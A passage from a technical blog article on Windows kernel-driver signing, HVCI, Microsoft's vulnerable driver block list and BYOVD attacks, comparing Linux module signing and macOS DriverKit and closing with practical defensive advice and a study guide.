&lt;p&gt;A useful way to state the bound: if $P$ is the set of all kernel drivers and $\text{Unsafe}(p) = 1$ iff driver $p$ exposes a kernel-write primitive through its IOCTL handler, then no total computable function $f: P \to {0, 1}$ satisfies $f = \text{Unsafe}$. Every approximation either over-blocks ($f(p) = 1$ when $\text{Unsafe}(p) = 0$, false positives, broken drivers) or under-blocks ($f(p) = 0$ when $\text{Unsafe}(p) = 1$, false negatives, BYOVD in the wild). The signing pipeline scans for the obvious cases; sophisticated dynamic analysers will catch more of the not-obvious cases; but the unrestricted version of the problem has no complete solution.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Whether an arbitrary signed driver can be coerced into giving an attacker a kernel-write primitive is undecidable. No static signing scheme can ever block exactly the unsafe drivers. The Windows answer is therefore not a single perfect gate; it is defence in depth that narrows, but does not close, the gap.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Microsoft&apos;s formal acknowledgement&lt;/h3&gt;
&lt;p&gt;Microsoft has been formally clear about a related point for years: the administrator-to-kernel transition is not, in the MSRC servicing-criteria [@elastic-admin] sense, a security boundary [@elastic-admin]. Elastic Security Labs put the position in plain English: &quot;the blocklist&apos;s deployment model can be slow to adapt to new threats, with updates automatically deployed typically only once or twice a year. Users can manually update their blocklists, but such interventions bring us out of &apos;secure by default&apos; territory ... When determining which vulnerabilities to fix, the Microsoft Security Response Center (MSRC) uses the concept of a security boundary.&quot; [@elastic-admin]&lt;/p&gt;

Administrator-to-kernel is not a security boundary, in the MSRC servicing-criteria sense. The defence-in-depth mechanisms described here mitigate it; from the impossibility result, none can close it.
&lt;p&gt;The MSRC framing is engineering policy. The undecidability result is theoretical inevitability. They land in the same place: an attacker who has administrator privilege, who can pick from the entire history of signed Windows drivers, who is patient, is not stopped by any number of signature checks. The defence-in-depth mechanisms make the attacker work harder; they raise the cost; they shrink the surface of viable signed drivers. They do not close the structural gap.&lt;/p&gt;
&lt;h3&gt;Closeable gaps and irreducible gaps&lt;/h3&gt;
&lt;p&gt;It is worth separating two kinds of gap.&lt;/p&gt;
&lt;p&gt;The published-vs-shipped block list gap is a &lt;em&gt;policy&lt;/em&gt; decision, not an engineering limit. Microsoft documents that &quot;it&apos;s often necessary for us to hold back some blocks to avoid breaking existing functionality.&quot; [@ms-driver-block-rules]The published-vs-shipped gap is the closeable part. An administrator who can author or import an App Control policy can deploy the published XML directly and pick up Microsoft&apos;s full curation. The irreducible part of the gap sits behind it: even the published list lists only what someone has already disclosed. The undecidability result applies to &lt;em&gt;finding&lt;/em&gt; unsafe drivers, not to &lt;em&gt;listing&lt;/em&gt; known-unsafe ones. Defenders willing to accept compatibility risk can close it on their own machines today.&lt;/p&gt;
&lt;p&gt;The gap that cannot close is the one between the published list and the universe of vulnerable drivers Microsoft has not yet learned about. That is where the undecidability result bites. No amount of pipeline tightening eliminates the class of design flaws whose recognition requires understanding what the driver&apos;s IOCTL handler will do under all possible inputs.&lt;/p&gt;
&lt;h3&gt;What static methods &lt;em&gt;can&lt;/em&gt; achieve&lt;/h3&gt;
&lt;p&gt;Quantifying what the existing layers achieve is more useful than lamenting what they cannot. The complexity bounds for each layer are well-defined.&lt;/p&gt;
&lt;p&gt;Authenticode signature verification is bounded below by one public-key operation and one cryptographic hash over the PE image, regardless of policy. SKCI&apos;s per-section cost is dominated by that constant. The Memory Integrity page is conspicuously silent on a published benchmark number; in practice the overhead is small but non-zero on Intel Kabylake-and-later or AMD Zen-2-and-later silicon with MBEC/GMET hardware acceleration, and meaningfully higher on the emulated Restricted-User-Mode fallback path that older silicon falls back to [@ms-hvci-vbs].&lt;/p&gt;
&lt;p&gt;WDAC allowlist evaluation is $O(\log r)$ per image on $r$ rules with a hashed index, or $O(r)$ on the naïve linear scan; the deny-rule check in &lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt; follows the same bound.&lt;/p&gt;
&lt;p&gt;The gap between achievable static enforcement and the ideal &quot;block all and only the unsafe drivers&quot; is, in the limit, irreducible.&lt;/p&gt;
&lt;h3&gt;Three axes that can be improved&lt;/h3&gt;
&lt;p&gt;If the gap cannot close, it can be narrowed along three independent axes -- and the improvements that matter, look like one of these:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reactiveness.&lt;/strong&gt; The disclosure-to-enforcement latency is months today. Forthcoming WHCP submission-time analyses can compress it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Coverage of unknown-bad signed drivers.&lt;/strong&gt; Reputation, allowlists, and dynamic analysis at scale extend coverage beyond what a static deny list lists.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Visibility into binary contents.&lt;/strong&gt; SBOMs answer &quot;what is inside this driver?&quot; -- a question the signature alone never asked.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each axis is the answer to a different blind spot. None substitutes for another. Section 11 returns to the SBOM axis specifically because it is the one Microsoft is building into the submission flow right now.&lt;/p&gt;
&lt;p&gt;Static signing has hit a wall it cannot push through. The only way forward is to widen the question. Two of the answers exist on other operating systems. The third is being built now.&lt;/p&gt;
&lt;h2&gt;10. The Other Two Operating Systems&lt;/h2&gt;
&lt;p&gt;Linux solved the signing half and pushed the curated-denylist half down to distribution vendors. macOS solved both by making third-party drivers stop being drivers.&lt;/p&gt;
&lt;h3&gt;Linux: signatures without a curated denylist&lt;/h3&gt;
&lt;p&gt;Linux has supported in-kernel module signing since version 3.7 (December 2012), under the configuration symbol &lt;code&gt;CONFIG_MODULE_SIG&lt;/code&gt;. The kernel documentation [@docs-kernel-module-sig] catalogues the supported algorithms: &quot;The built-in facility currently only supports the RSA, NIST P-384 ECDSA and NIST FIPS-204 ML-DSA public key signing standards.&quot; [@docs-kernel-module-sig] The choice of signature scheme is a build-time decision, and the kernel can be told to use a key embedded in the kernel image, a key loaded into the trusted keyring at runtime, or a Machine Owner Key managed by &lt;code&gt;shim&lt;/code&gt; and the platform&apos;s UEFI boot stack.&lt;/p&gt;
&lt;p&gt;The structural decision that matters is the enforcement mode. &lt;code&gt;CONFIG_MODULE_SIG_FORCE&lt;/code&gt; is the toggle. The kernel documentation describes the two settings cleanly: &quot;If this is off (ie. &apos;permissive&apos;), then modules for which the key is not available and modules that are unsigned are permitted, but the kernel will be marked as being tainted ... If this is on (ie. &apos;restrictive&apos;), only modules that have a valid signature that can be verified by a public key in the kernel&apos;s possession will be loaded.&quot; [@docs-kernel-module-sig]&lt;/p&gt;
&lt;p&gt;Most mainstream distributions ship permissive: unsigned modules taint the kernel but load. The defender-shipping-restrictive-enforcement model is real on Secure-Boot-on RHEL and modern Ubuntu, paired with the Linux &lt;em&gt;lockdown&lt;/em&gt; security module, which restricts certain root-level kernel-modification paths even on signed builds.The Linux lockdown LSM is the closest mainline-Linux analogue to HVCI&apos;s policy-out-of-reach property. The &lt;code&gt;kernel_lockdown(7)&lt;/code&gt; man page [@man7-kernel-lockdown] describes lockdown as &quot;designed to prevent both direct and indirect access to a running kernel image&quot; and enumerates the restricted surfaces: &lt;code&gt;/dev/mem&lt;/code&gt;, &lt;code&gt;/dev/kmem&lt;/code&gt;, &lt;code&gt;/dev/kcore&lt;/code&gt;, kprobes, BPF, MSR alteration, ACPI table overrides, and unsigned kexec [@man7-kernel-lockdown]. It is a partial analogue, not equivalent: lockdown still runs in the same trust domain as the kernel it polices, so a sufficient kernel exploit defeats it. HVCI&apos;s VTL0/VTL1 split is structurally stronger.&lt;/p&gt;
&lt;p&gt;What Linux does not have is the equivalent of &lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt;. There is no kernel-level curated denylist of &quot;we have learned this module is unsafe; refuse to load it by name&quot;. Defenders rely on per-distribution CVE trackers, on &lt;code&gt;modprobe.blacklist&lt;/code&gt;, and on &lt;code&gt;udev&lt;/code&gt; rules to keep specific modules out. The G5 generation -- naming the &lt;em&gt;weakness&lt;/em&gt; rather than the publisher -- has no mainline Linux equivalent at the kernel-loader level.&lt;/p&gt;
&lt;h3&gt;macOS: DriverKit removes the surface&lt;/h3&gt;
&lt;p&gt;Apple&apos;s answer is structurally different. Starting with macOS Catalina 10.15 [@apple-legacy-extensions] in 2019, Apple deprecated legacy kernel extensions for third parties and pushed them onto the DriverKit [@apple-driverkit] framework instead [@apple-legacy-extensions] [@apple-driverkit].&lt;/p&gt;

Apple&apos;s user-space driver framework, introduced with macOS Catalina 10.15. Third-party drivers ship as `.dext` user-space extensions linked against a curated IOKit subset; they receive IOKit messages from the kernel and respond with the same operations they used to perform in ring zero, but the code itself runs in user mode under sandbox restrictions. The kernel side of the new model exposes a controlled message surface; the third-party side cannot directly execute kernel code.
&lt;p&gt;A &lt;code&gt;.dext&lt;/code&gt; runs in user space under a sandbox profile. It can claim devices, register for IOKit interrupts, and exchange messages with kernel-side broker code -- but it cannot, in any usable sense, execute arbitrary code in the kernel address space. The Capcom.sys class of vulnerability cannot be expressed in DriverKit: there is no IOCTL surface whose handler runs in ring zero, because the handler does not run in ring zero. Apple reinforces the boundary further with System Integrity Protection [@apple-sip] (since 2015) and, on Apple Silicon, Kernel Integrity Protection (KIP), which makes the kernel page tables read-only after boot [@apple-sip].&lt;/p&gt;
&lt;p&gt;The price was paid by Apple&apos;s IHV community. Whole categories of third-party drivers -- deep audio, virtualisation, certain security tools -- spent years migrating, and some categories took multiple macOS releases before a DriverKit equivalent of a particular kext capability existed. Apple Silicon requires explicit reduced-security mode to load &lt;em&gt;any&lt;/em&gt; legacy kext at all: Apple&apos;s Platform Security guide [@apple-kext-aux] records that &quot;Kexts must be explicitly enabled for a Mac with Apple silicon by holding the power button at startup to enter into One True Recovery (1TR) mode, then downgrading to Reduced Security and checking the box to enable kernel extensions&quot; [@apple-kext-aux].&lt;/p&gt;
&lt;h3&gt;Why Windows cannot copy Apple&lt;/h3&gt;
&lt;p&gt;The reason Windows cannot make Apple&apos;s move in the short term is operational, not architectural. Windows&apos; IHV installed base is orders of magnitude larger and less centrally controlled. Microsoft does not own its hardware vendors the way Apple owns Macs. Breaking compatibility with twenty years of shipped kernel drivers would impose unbounded migration cost on third parties Microsoft cannot direct.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;Windows (2026)&lt;/th&gt;
&lt;th&gt;Linux (mainline + RHEL-class hardening)&lt;/th&gt;
&lt;th&gt;macOS (Catalina+ / Apple Silicon)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Default signature enforcement&lt;/td&gt;
&lt;td&gt;Mandatory on x64 since 2006&lt;/td&gt;
&lt;td&gt;Permissive (taints kernel); restrictive on hardened distros&lt;/td&gt;
&lt;td&gt;Mandatory; legacy kexts deprecated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Curated denylist of signed-but-vulnerable artefacts&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt;, default-on since 22H2&lt;/td&gt;
&lt;td&gt;None at kernel loader; per-distro CVE trackers&lt;/td&gt;
&lt;td&gt;Not needed -- third-party kexts removed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Policy engine isolated from kernel it polices&lt;/td&gt;
&lt;td&gt;HVCI in VTL1&lt;/td&gt;
&lt;td&gt;Lockdown LSM (same trust domain)&lt;/td&gt;
&lt;td&gt;KIP and SIP on Apple Silicon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Third-party drivers in kernel&lt;/td&gt;
&lt;td&gt;Yes, still the model&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No -- DriverKit user-space dexts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Operational price of the model&lt;/td&gt;
&lt;td&gt;Compatibility carve-outs, opt-outs&lt;/td&gt;
&lt;td&gt;Permissive default&lt;/td&gt;
&lt;td&gt;Multi-year IHV migration&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Windows cannot move drivers to user space at Apple&apos;s speed. But it can look at &lt;em&gt;what is inside&lt;/em&gt; a driver in a way the signature alone never could. And it has been quietly building that capability since 2022.&lt;/p&gt;
&lt;h2&gt;11. What Comes Next: SBOM, Artifact Signing, Dynamic Analysis&lt;/h2&gt;
&lt;p&gt;If signatures cannot answer &quot;is this driver safe&quot;, and the block list can only ever answer &quot;is this driver known-unsafe&quot;, the next question Windows has to learn how to ask is &quot;what is inside this driver?&quot;&lt;/p&gt;
&lt;h3&gt;SBOM for drivers&lt;/h3&gt;
&lt;p&gt;A Software Bill of Materials is a structured inventory of the components, dependencies, and versions inside a software artefact. The mainstream community formats are SPDX (now at version 3.0) and CycloneDX; Microsoft contributes to and ships an open-source tool, microsoft/sbom-tool [@gh-sbom-tool], that produces SPDX-compatible SBOMs as part of a build pipeline [@gh-sbom-tool]. The repository description is plain: &quot;The SBOM tool is a highly scalable and enterprise ready tool to create SPDX 2.2 and SPDX 3.0 compatible SBOMs for any variety of artifacts. The tool uses the Component Detection libraries to detect components and the ClearlyDefined API to populate license information for these components.&quot; [@gh-sbom-tool]&lt;/p&gt;

A machine-readable inventory of components and dependencies inside a software artefact. For a Windows kernel driver, an SBOM lists the third-party static libraries linked into the PE, the open-source code paths bundled with the driver, and the versions of each, in a format (SPDX, CycloneDX) that automated tools can consume to answer &quot;is any component of this driver subject to a known vulnerability?&quot;
&lt;p&gt;The piece that affects Windows drivers specifically is the Windows Hardware Compatibility Program SBOM requirement. The Microsoft Q&amp;amp;A entry on Hardware Dev Center and CRA compliance [@ms-qa-cra] is candid: &quot;The WHCP SBOM requirement (Device.DevFund.Security.SoftwareBillofMaterials) has been deferred and will only be enforced starting in H2 2026.&quot; [@ms-qa-cra] The deferral aligns the WHCP rollout with the European Union&apos;s Cyber Resilience Act compliance window.&lt;/p&gt;

The EU Cyber Resilience Act sets phased compliance obligations for products with digital elements sold into the EU market. Among them is a requirement to produce a machine-readable SBOM that customers and regulators can inspect. Microsoft&apos;s WHCP SBOM mandate, scheduled for H2 2026, is the Windows-specific implementation of the same requirement, applied to kernel drivers submitted through the Hardware Dev Center. For regulated-industry IHVs, the WHCP gate and the CRA gate land at the same time and concern the same artefact [@ms-qa-cra].
&lt;p&gt;There is a structural problem an SBOM does not solve on its own. If the SBOM ships separately from the driver, an attacker who controls the distribution path can substitute a clean-looking SBOM for a contaminated driver. The WHCP submission flow is expected to bind the SBOM cryptographically to the artefact it describes so that a recipient can verify the binding, but the public documentation for the binding mechanism is still light beyond the WHCP SBOM mandate itself [@ms-qa-cra] [@ms-qa-cra].&lt;/p&gt;
&lt;h3&gt;Dynamic analysis at submission time&lt;/h3&gt;
&lt;p&gt;The other axis of improvement is reactiveness. Today, the typical disclosure-to-enforcement cycle for a new BYOVD driver looks like this: vendor ships, attacker exploits, researcher discloses, Microsoft adds to the quarterly published list, Windows servicing pushes to clients. The latency is months. Two recent research programmes show how dynamic analysis at scale can compress it.&lt;/p&gt;
&lt;p&gt;The first is the EURECOM/Politecnico di Milano NDSS 2026 paper on the authors&apos; publication page [@eurecom-paper]. The team built a DRAKVUF-based instrumentation layer called Kernelmon and traced every kernel function executed by signed drivers under malware-loaded workloads [@eurecom-paper]. The numbers are unusually concrete: the paper PDF [@eurecom-paper-pdf] reports that the team &quot;analyzed 8,779 malware samples that load 773 distinct signed drivers. It flagged suspicious behavior in 48 drivers, and subsequent manual verification led to the responsible disclosure of seven previously unknown vulnerable drivers&quot; [@eurecom-paper-pdf]. The companion S3 blog post [@eurecom-s3-blog] corroborates the 48-flagged / 7-disclosed numbers and notes that one of the seven received CVE-2024-26506 [@eurecom-s3-blog]. The technique is dynamic: it runs the driver under a hypervisor, watches what its IOCTL handlers actually do, and flags patterns characteristic of the BYOVD class.&lt;/p&gt;
&lt;p&gt;The second is Check Point Research&apos;s 2024 work [@cpr-byovd], which built a mass-hunt methodology around import-table signatures of risky kernel APIs and ran it across the global driver corpus. &quot;Using the same methodology, we conducted a mass hunt for new drivers that may be vulnerable, uncovering thousands of potentially at-risk drivers.&quot; [@cpr-byovd] The technique is static: it asks &lt;em&gt;what does the driver import?&lt;/em&gt; rather than &lt;em&gt;what does it do under exercise?&lt;/em&gt; Combined, the two approaches cover complementary halves of the surface.&lt;/p&gt;
&lt;p&gt;Neither currently gates Hardware Dev Center submissions. Both are candidates for the kind of submission-time check that would compress disclosure-to-enforcement latency from quarters to days.&lt;/p&gt;
&lt;h3&gt;Empirical patterns the defences have to recognise&lt;/h3&gt;
&lt;p&gt;Cisco Talos&apos;s BYOVD work, summarised in their &lt;em&gt;Exploring vulnerable Windows drivers&lt;/em&gt; post [@talos-byovd], classifies the post-load payloads attackers actually run [@talos-byovd]. Three behaviour classes dominate: token-swap escalation that overwrites the access token in the &lt;code&gt;_EPROCESS&lt;/code&gt; structure to reach SYSTEM; unsigned-code-loading that uses the kernel-write primitive to disable DSE or patch CI state; and EDR-killing that clears the kernel callback registrations endpoint detection products rely on. Each is a target for the dynamic analyses above, each is detectable by import-table heuristics, and each is what defenders see in the wild today.&lt;/p&gt;
&lt;p&gt;The historical roots are old. The Microsoft Security blog tracing the Vulnerable &amp;amp; Malicious Driver Reporting Center is direct: &quot;Multiple malware attacks, including RobinHood, Uroburos, Derusbi, GrayFish, and Sauron, have leveraged driver vulnerabilities (for example CVE-2008-3431, CVE-2013-3956, CVE-2009-0824, and CVE-2010-1592).&quot; [@ms-vdrc-blog] The payload classes have stayed remarkably stable for fifteen years.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The structural gap between &lt;em&gt;signed&lt;/em&gt; and &lt;em&gt;safe&lt;/em&gt; cannot close. It can be narrowed along three independent axes. Reactiveness: how long disclosure-to-enforcement takes (closeable by submission-time dynamic analysis along the lines of the EURECOM NDSS 2026 paper [@eurecom-paper] [@eurecom-paper] and Check Point&apos;s mass-hunt methodology [@cpr-byovd] [@cpr-byovd]). Coverage of unknown-bad signed drivers (extended by reputation-backed allowlists like Smart App Control and by WDAC enterprise policies). Visibility into binary contents (the H2 2026 WHCP SBOM mandate [@ms-qa-cra] and the SBOM-to-artefact binding the submission flow is expected to enforce [@ms-qa-cra]). Each axis closes a different blind spot. None substitutes for another.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Threats the stack cannot yet absorb&lt;/h3&gt;
&lt;p&gt;Three problems remain open and uncovered by the published roadmap. The Smart App Control cold-start window leaves small IHVs whose drivers have no cloud reputation to fall through to signature, and signature alone is exactly what we already established does not answer the question. BYOVD on HVCI-off environments, prevalent in older anti-cheat configurations and on enterprise machines with legacy ISV drivers, still admits the &lt;code&gt;g_CiOptions&lt;/code&gt;-patching family from VTL0 because there is no VTL1 to keep the policy out of reach. And the shipped-vs-published block list gap, while operationally rational and individually closeable by a willing administrator, is a gap any default-on customer carries.&lt;/p&gt;
&lt;p&gt;None of those closes by algorithmic improvement. Each closes only by widening the question.&lt;/p&gt;
&lt;p&gt;What started as a yes/no signature check has become a continually expanding set of questions Windows asks before it will hand a driver the keys to ring zero. None of those questions is sufficient. All of them are necessary. And the next one is already being written into the WHCP submission flow.&lt;/p&gt;
&lt;h2&gt;12. What This Means in Practice&lt;/h2&gt;
&lt;p&gt;Three audiences, three things to do.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Administrators.&lt;/strong&gt; Confirm the stack is on. &lt;code&gt;Get-CimInstance -Namespace root\Microsoft\Windows\DeviceGuard -ClassName Win32_DeviceGuard&lt;/code&gt; returns a &lt;code&gt;SecurityServicesRunning&lt;/code&gt; array; a &lt;code&gt;2&lt;/code&gt; in the array confirms HVCI. A &lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt; in &lt;code&gt;%windir%\system32\CodeIntegrity\&lt;/code&gt; confirms the in-box block list is deployed. If you can tolerate the compatibility risk, compile the published block-rules XML [@ms-driver-block-rules] into an App Control policy and deploy it (audit mode first) [@ms-driver-block-rules]. If you run Windows Server 2016, you have to deploy an explicit policy yourself because the in-box default does not apply there [@ms-driver-block-rules]. If you ship through the Hardware Dev Center, schedule the H2 2026 WHCP SBOM gate now [@ms-qa-cra]. Subscribe to the Vulnerable &amp;amp; Malicious Driver Reporting Center cadence for new disclosures [@ms-vdrc-blog].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Driver authors.&lt;/strong&gt; Assume your IOCTL surface will be read by Check Point&apos;s import-table mass hunt [@cpr-byovd] and exercised by EURECOM&apos;s Kernelmon [@eurecom-paper] [@cpr-byovd] [@eurecom-paper]. Any handler that takes a user-supplied address and returns kernel data, or that dispatches a user-supplied function pointer, will end up on a block list on its current trajectory.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Researchers.&lt;/strong&gt; The field is wide open. The undecidability result is real, but the practical gap between what current analyses detect and what is, in principle, detectable for any specific vulnerability class is large. The NDSS 2026 paper found seven CVE-worthy drivers in a corpus of 773. The next paper will find more.&lt;/p&gt;
&lt;h3&gt;Every layer is somebody&apos;s incident report&lt;/h3&gt;
&lt;p&gt;Every layer in the 2026 stack exists because the previous one lost to a named adversary. Sony BMG XCP retired advisory signing. Stuxnet retired the assumption that a valid chain is a safe chain. Capcom.sys retired the assumption that a safe chain is a safe driver. RTCore64.sys, gdrv.sys, and KProcessHacker retired the assumption that the BYOVD class would burn itself out. Each entry on &lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt; is somebody&apos;s incident report, recorded in the most permanent place Microsoft can put it -- the kernel loader&apos;s deny list.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Windows 11 22H2 ships with a list of drivers Microsoft will not load. The next list will be longer. The story has been adversarial since 1996 and the trajectory does not reverse: every layer was added because the previous one met an attacker. The structural gap is undecidable; the engineering gap, narrowable; the work, unfinished.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Frequently Asked Questions&lt;/h2&gt;


No. HVCI verifies the Authenticode signature at section-mapping time and enforces a write-xor-execute invariant on kernel memory; it does not analyse the driver&apos;s IOCTL surface. A signed driver with an unsafe IOCTL passes HVCI unchanged and proceeds to execute its handler in kernel mode with kernel privilege. That is what the Vulnerable Driver Block List is for: HVCI gates *who decides*; the block list gates *what gets decided*. See the Memory Integrity page [@ms-hvci-vbs] [@ms-hvci-vbs].

Yes. Microsoft publishes the source XML on the Microsoft-recommended driver block rules page [@ms-driver-block-rules] [@ms-driver-block-rules]. You can compile it into a binary App Control policy with the standard tooling and deploy it directly, picking up entries Microsoft holds back from the in-box list. Test in audit mode first because the published list is more inclusive than the shipped list and may flag drivers your environment depends on. Many defenders layer the LOLDrivers App Control policy [@gh-loldrivers] on top for community-curated coverage [@gh-loldrivers].

Windows Server 2016 does not enforce the block list by default, even when Memory Integrity is on. The block-rules page [@ms-driver-block-rules] calls this out explicitly [@ms-driver-block-rules]. If you administer Server 2016, deploy an explicit App Control policy to get the same coverage as the default-on 22H2 client.

App Control for Business (the engine formerly known as WDAC) is a policy *you* author. You define what signers, hashes, and paths are allowed; you ship and enforce the policy yourself. Smart App Control is a Microsoft-authored policy bundled with cloud reputation lookups via the Intelligent Security Graph. SAC is the consumer-friendly front end; App Control is the enterprise back end. SAC&apos;s default policy ships at `%windir%\schemas\CodeIntegrity\ExamplePolicies\SmartAppControl.xml`. SAC is consumer-only and turns itself off after 48 hours on enterprise-managed devices, where the expectation is that the operator deploys an App Control policy directly. See the Smart App Control FAQ [@ms-sac-faq] and the App Control for Business overview [@ms-appcontrol] [@ms-sac-faq] [@ms-appcontrol].

Increasingly yes. Major anti-cheat vendors have shipped HVCI-compatible kernel components since around 2023, but a meaningful tail of older configurations still requires HVCI off. On those configurations, the `g_CiOptions`-patching technique TrustedSec describes [@trustedsec-gcioptions] is back in play because the policy variable is no longer protected behind VTL1 [@trustedsec-gcioptions]. Audit your gaming-rig population if you care about coverage.

The in-box block list is Microsoft-curated with explicit compatibility holdbacks; the LOLDrivers catalogue [@loldrivers-io] is community-curated, considerably more inclusive (approximately 2,132 entries as of the source verification for this article), and ships with App Control deny policies, Sigma, YARA, ClamAV, and Sysmon detection content alongside the entries [@loldrivers-io] [@gh-loldrivers]. For threat hunting, use both. For enforcement, layer the LOLDrivers App Control policy on top of the in-box list if your environment can tolerate the compatibility risk. Check Point Research [@cpr-byovd] has documented the dual-use externality of any such public list -- attackers also read them -- but the defender net benefit of broader coverage outweighs the marginal attacker advantage on most environments [@cpr-byovd].

&lt;p&gt;&amp;lt;StudyGuide slug=&quot;vulnerable-driver-block-list-hvci-and-the-driver-signing-lifecycle&quot; keyTerms={[
  { term: &quot;Authenticode&quot;, definition: &quot;Microsoft&apos;s PKCS#7 code-signing format, used in Windows since 1996. Attests to publisher identity; does not analyse program behaviour.&quot; },
  { term: &quot;KMCS&quot;, definition: &quot;Kernel-Mode Code Signing. The mandatory load-time signature policy on 64-bit Windows since Vista x64 in 2006.&quot; },
  { term: &quot;BYOVD&quot;, definition: &quot;Bring Your Own Vulnerable Driver. An attack pattern in which an adversary installs a signed but design-vulnerable third-party driver to gain kernel capability.&quot; },
  { term: &quot;HVCI&quot;, definition: &quot;Hypervisor-protected Code Integrity, also called Memory Integrity. The Code Integrity engine running in VTL1 under a Hyper-V root, isolated from the VTL0 kernel.&quot; },
  { term: &quot;VTL&quot;, definition: &quot;Virtual Trust Level. VTL0 is the normal Windows kernel; VTL1 is the Secure Kernel and trustlets. VTL1 can read VTL0 memory but not vice versa.&quot; },
  { term: &quot;DriverSiPolicy.p7b&quot;, definition: &quot;The Microsoft-signed App Control deny policy that lists known-vulnerable signed kernel drivers and is default-on for all Windows 11 22H2 client devices.&quot; },
  { term: &quot;App Control for Business&quot;, definition: &quot;Microsoft&apos;s policy-driven application control engine, formerly WDAC. Used for both deny lists (the block list) and enterprise allowlists.&quot; },
  { term: &quot;Smart App Control&quot;, definition: &quot;Consumer-facing front end for App Control, backed by ISG cloud reputation. Available on clean Windows 11 22H2+ installs only.&quot; },
  { term: &quot;SBOM&quot;, definition: &quot;Software Bill of Materials. Machine-readable inventory of components and dependencies. Mandatory for WHCP submissions from H2 2026.&quot; },
  { term: &quot;DriverKit&quot;, definition: &quot;Apple&apos;s user-space driver framework. Third-party drivers ship as sandboxed dexts rather than kernel extensions; the BYOVD class is eliminated by construction.&quot; },
]} questions={[
  { q: &quot;Why did the Windows kernel-driver signing policy have to wait until Vista x64 to become mandatory?&quot;, a: &quot;The advisory SetupAPI-prompt model on 32-bit Windows could not be made mandatory without breaking compatibility with decades of unsigned drivers. The x64 architecture was a young platform with relatively few drivers in the field, which let Microsoft make the load-time signature requirement mandatory without disrupting an installed base.&quot; },
  { q: &quot;What single property of HVCI makes the g_CiOptions patching technique stop working?&quot;, a: &quot;HVCI runs the signature-verification and policy-consultation logic inside VTL1&apos;s Secure Kernel and uses Kernel Data Protection, exposed to VTL0 drivers as MmProtectDriverSection, to mark the VTL0 page containing g_CiOptions read-only at the second-level address translation level. The variable still resides in ci.dll&apos;s VTL0 data section, but a VTL0 ring-zero write to it faults because the SLAT mapping refuses the write -- and a live-kernel debugger attached to VTL0 cannot bypass that protection either.&quot; },
  { q: &quot;Why does Microsoft document that the published block list is more inclusive than the shipped one?&quot;, a: &quot;Some entries in the published list would block drivers that legitimate environments still depend on. Microsoft holds those entries back from the in-box DriverSiPolicy.p7b to avoid breaking existing functionality, while leaving them available in the source XML for defenders who can author their own App Control policies and accept the compatibility risk.&quot; },
  { q: &quot;Why is the BYOVD class undecidable to gate at the signing stage?&quot;, a: &quot;Whether an arbitrary signed driver exposes a kernel-write primitive through its IOCTL surface is a non-trivial semantic property of the driver&apos;s program text. Rice&apos;s theorem says no algorithm decides such properties for all programs. Static and dynamic analyses catch decidable subsets; the unrestricted class admits no complete solution.&quot; },
  { q: &quot;Why can Windows not simply move third-party drivers to user space the way macOS DriverKit did?&quot;, a: &quot;Apple owns its hardware vendors and could impose a multi-year migration on a comparatively centralised vendor community. Windows&apos; third-party IHV base is much larger and more independent; breaking compatibility with twenty years of shipped kernel drivers would impose unbounded migration cost on parties Microsoft does not direct.&quot; },
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows-kernel</category><category>code-signing</category><category>hvci</category><category>byovd</category><category>driver-block-list</category><category>secure-kernel</category><category>app-control</category><category>kmcs</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>WDAC + HVCI: Code Integrity at Every Layer in Windows</title><link>https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/</link><guid isPermaLink="true">https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/</guid><description>How Windows decides which code is allowed to run, end-to-end: WDAC policy schema, HVCI per-VTL SLAT enforcement, the audit-to-enforce loop, and the residual attack surface neither feature can close.</description><pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate><content:encoded>
**Windows enforces &quot;which code is allowed to run&quot; through two coupled primitives.** WDAC is an XML-schema policy that the in-kernel `CI.dll` evaluates at every PE load. HVCI is the hypervisor-rooted check that runs `SkCi.dll` inside Virtual Trust Level 1, where the VTL0 kernel cannot reach it. Together they form the runtime enforcement loop on top of the App Identity primitives, and together they refuse the 8-microsecond signed-driver load that opens this article. This piece walks the policy schema, the audit-to-enforce migration discipline, the per-VTL SLAT state machine, the Vulnerable Driver Block List, and the residual attack surface (return-oriented programming, signed living-off-the-land binaries, hypervisor rollback) that the loop cannot close.
&lt;h2&gt;1. Signed Code Still Isn&apos;t Trusted Code&lt;/h2&gt;
